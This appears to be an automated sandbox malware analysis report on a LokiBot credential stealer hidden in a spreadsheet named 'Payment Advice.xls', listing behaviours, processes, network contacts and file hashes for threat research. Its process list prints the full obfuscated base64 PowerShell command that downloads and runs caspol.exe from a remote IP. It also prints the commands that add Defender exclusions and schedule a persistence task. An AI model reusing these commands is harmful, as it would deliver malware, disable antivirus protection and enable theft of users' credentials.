Malware Analysis Report

2025-04-03 09:51

Sample ID 241118-vppcza1ket
Target Payment Advice.xls
SHA256 c1b87e35d9bcc37980e406e3c9aa910aed0dde54f90ffbd521291c80b230b3f3
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c1b87e35d9bcc37980e406e3c9aa910aed0dde54f90ffbd521291c80b230b3f3

Threat Level: Known bad

The file Payment Advice.xls was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot

Process spawned unexpected child process

Lokibot family

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Evasion via Device Credential Deployment

Blocklisted process makes network request

Loads dropped DLL

Reads user/profile data of web browsers

Executes dropped EXE

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

outlook_office_path

Uses Task Scheduler COM API

Modifies Internet Explorer settings

Scheduled Task/Job: Scheduled Task

Uses Volume Shadow Copy WMI provider

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

outlook_win_path

Suspicious use of AdjustPrivilegeToken

Uses Volume Shadow Copy service COM API

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-18 17:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-18 17:10

Reported

2024-11-18 17:12

Platform

win7-20240903-en

Max time kernel

147s

Max time network

148s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1700 set thread context of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2724 wrote to memory of 2592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2724 wrote to memory of 2592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2724 wrote to memory of 2592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2724 wrote to memory of 2592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2592 wrote to memory of 1280 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1280 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1280 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1280 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1256 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2592 wrote to memory of 1256 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2592 wrote to memory of 1256 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2592 wrote to memory of 1256 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1256 wrote to memory of 1556 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1256 wrote to memory of 1556 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1256 wrote to memory of 1556 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1256 wrote to memory of 1556 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2592 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2592 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2592 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2592 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 928 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1700 wrote to memory of 928 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1700 wrote to memory of 928 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1700 wrote to memory of 928 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1700 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE

"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4nykq1cm.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB7F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFB7E.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp865F.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.134.89:80 e6.o.lencr.org tcp
US 192.3.243.136:80 192.3.243.136 tcp
DE 5.45.108.48:443 link.uebie.de tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.252.157:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/1388-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1388-1-0x00000000725ED000-0x00000000725F8000-memory.dmp

memory/2724-18-0x0000000002970000-0x0000000002972000-memory.dmp

memory/1388-19-0x00000000023B0000-0x00000000023B2000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

MD5 dfe9d40108cd6499968560d0319998c6
SHA1 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73
SHA256 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e
SHA512 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

MD5 93248e76a76b72a2bec974f8449304d5
SHA1 6ec7f426246dc5f878e0b901a0e9c39f4b756d5a
SHA256 beccb6667990c45dad4330432f2135e5ad922603cb86fbbe7d0704129c299796
SHA512 5926b0a7e656b95997a55434d4fc8440cdb80b6fbaaadeaae258d8f7a2b2658a8e499ec3811c95f8d00ad09092143f0fd59d58686aadf29154bb85ede14d35b6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 9182aaee57b94fd654512a09401dfc1d
SHA1 92b9a46460c6779281396cf8f3d34b90b37c6ad7
SHA256 c5870d2e78aaece4af4eda4107df9951aef1851e072afa61e15fd4d0c26df206
SHA512 a11ede412bf4a333aeb8967fd960b7f2c8d896022f31982a74455512a900a8164301579ef9efdad8ab2948b377ef709b7c21d0d2322d7e2037605bff9cc5c62d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d6fee6d817235b54638d4ac699840ecc
SHA1 10e71cfbb9688a9b5c7f32bd0bf6b342ba453eac
SHA256 60dc9ab1f51262e506a303f7cff31633e928470a2447bab0e1c033131596c930
SHA512 428bd6264a53e3d43c72cb163d48b889e5a33861cf9e015d8bfc3189737d7f55930dea12c9812dcb6fa17588bec16bc40b72ff6e21df6c15283e9caa86f7a6e0

C:\Users\Admin\AppData\Local\Temp\CabF00A.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q0WBLVJY\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe[1].hta

MD5 9427d6b1cf4e282f2140587823409691
SHA1 059037ad5c4c6054bdcd163cb1969a84cc1813e9
SHA256 a9cc9394d9450742c8f2b9b9c9ab7b94fda208cd6977458521554121a49f45d1
SHA512 a394958ceb3d1594328c1c7d091f295080b1fa93a787aec87456b1438559003e68e1c0e38eee6d5779a4227a0413393f90a587129d8c44d42467e0b3c2382ab2

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 1c506664d7a3a332a3b824f6f833f8f4
SHA1 a9d836bebca0509e73c87809bafd71d96e86fcc0
SHA256 8592c8ed0640601a2e0a8a233c57ee14c29dd91a545e23a2278a6567190cee38
SHA512 3973032708f0b88cd49c2e85444d0dbc50a6b61ab5a9929f0a06337c1d3fb9a5d7a75294ea3588f03bc9178cfee69755df79b86712c317477508d2fceb7f9ab2

\??\c:\Users\Admin\AppData\Local\Temp\4nykq1cm.cmdline

MD5 cd5b1650305cdb58d8a16b6ab5c0f0d3
SHA1 00edaf4b1af26419cf7beaf73ad3edb20771d02a
SHA256 28db4e7341568957120c5b4fd43dfb73778a46e195323a5431374a73285aedf2
SHA512 db3c2f3b0c624a9195a3ee39e93aec0afa4459fa34193e71b166c3c4a70e06295de4a7122b22df2b76d6807d28125073ed54ad4fc015a8b2499f488403fd512d

\??\c:\Users\Admin\AppData\Local\Temp\4nykq1cm.0.cs

MD5 ee60617752b2061187e3773f962ff810
SHA1 5d3dc400820671b51499e9003fcbd7794d07e315
SHA256 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9
SHA512 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231

\??\c:\Users\Admin\AppData\Local\Temp\CSCFB7E.tmp

MD5 5821274e486638260ddc47b071cae763
SHA1 e8138352c55a630e92c27c5d32f7b70f3d4614eb
SHA256 05645a9fa01ca20ca24ce9f24d9e5bc1888777ffbfb120cc1f58ac520fbb6850
SHA512 7cbf007ae2ed0eba0fcc39159521bee4b5a0afc5c0e350dd40d1175bc4be7145af9d196283584f34bc84890ddf869e32119bc9193836151a965820402aac764f

C:\Users\Admin\AppData\Local\Temp\RESFB7F.tmp

MD5 2f212dded24b64010399a997ffa22a7e
SHA1 c8c7f6f589af8927a40315fec2c7e3f6e59d7a74
SHA256 101d8d241dfed047aca56d837b7c713a9b4c4888af4f834e98e27b4534d86ffc
SHA512 8e9d30318c4a35de475b1ba4ca135e7666446dd713a5455fea586416125bb00cfee0499bee411f81e33d364282f740a3f571d2dc977ddd2acdd564fe7ac1a9c1

C:\Users\Admin\AppData\Local\Temp\4nykq1cm.dll

MD5 466add565e02c2ebccbf3bab414efc44
SHA1 b786b64b368777737d6402121bc0783c30a23d69
SHA256 0891a6532d1950d277a7ead296e7cab2427eb0103751e90ecc4be0e02985c6c9
SHA512 1f9c6c3ccb8a1146eca644869edcec973a8040ab92cd107a143c1e8e7e595ea7db296372fe201adb5814b564c462c538dcb1723fba900107677d5c41376d1f53

C:\Users\Admin\AppData\Local\Temp\4nykq1cm.pdb

MD5 9181086beb5604a3ca3b9cd9f689431f
SHA1 9864c4e7551997f75df75bcbf72fef7df0d40084
SHA256 865b9373573f2edd9e41891506568249adb65de99336f9015adc0ac35a9b7a0b
SHA512 c9d5527d2639a8a35642ae0659b469bdfe2837836df9691a3f5ee59353568972f399d520153d8df9dcd7795f371da7acd59d0b3a8a5a301b5e613e122a718344

memory/1388-72-0x00000000725ED000-0x00000000725F8000-memory.dmp

C:\Users\Admin\AppData\Roaming\caspol.exe

MD5 8c34e99269d4121a0dfe4c3eaa9e269f
SHA1 5bbaa7dc726324e057eb4f78856c368488c4805a
SHA256 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76
SHA512 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277

memory/1700-82-0x0000000000B30000-0x0000000000BB2000-memory.dmp

memory/1700-83-0x0000000000250000-0x0000000000262000-memory.dmp

memory/1700-84-0x0000000002310000-0x0000000002374000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\tmp865F.tmp

MD5 1fe378d9ded22434bb20f194a31d657f
SHA1 7c944de0b126775986bdbf0a3274314193c8ea9e
SHA256 5ed7a378a038c7e2751df01d3c0d8af817a178e51b59bee3b1d203b30676bbf2
SHA512 6c8432611f99a6629bc7e282ba2204d4e6ced5ee473a79d1a388f5ecf9fcf1be6781225ad1e652b71e55004518629f9bf8ea8e998c845ccdeefe478e6d5d7058

memory/1032-107-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1032-114-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1032-112-0x0000000000400000-0x00000000004A2000-memory.dmp

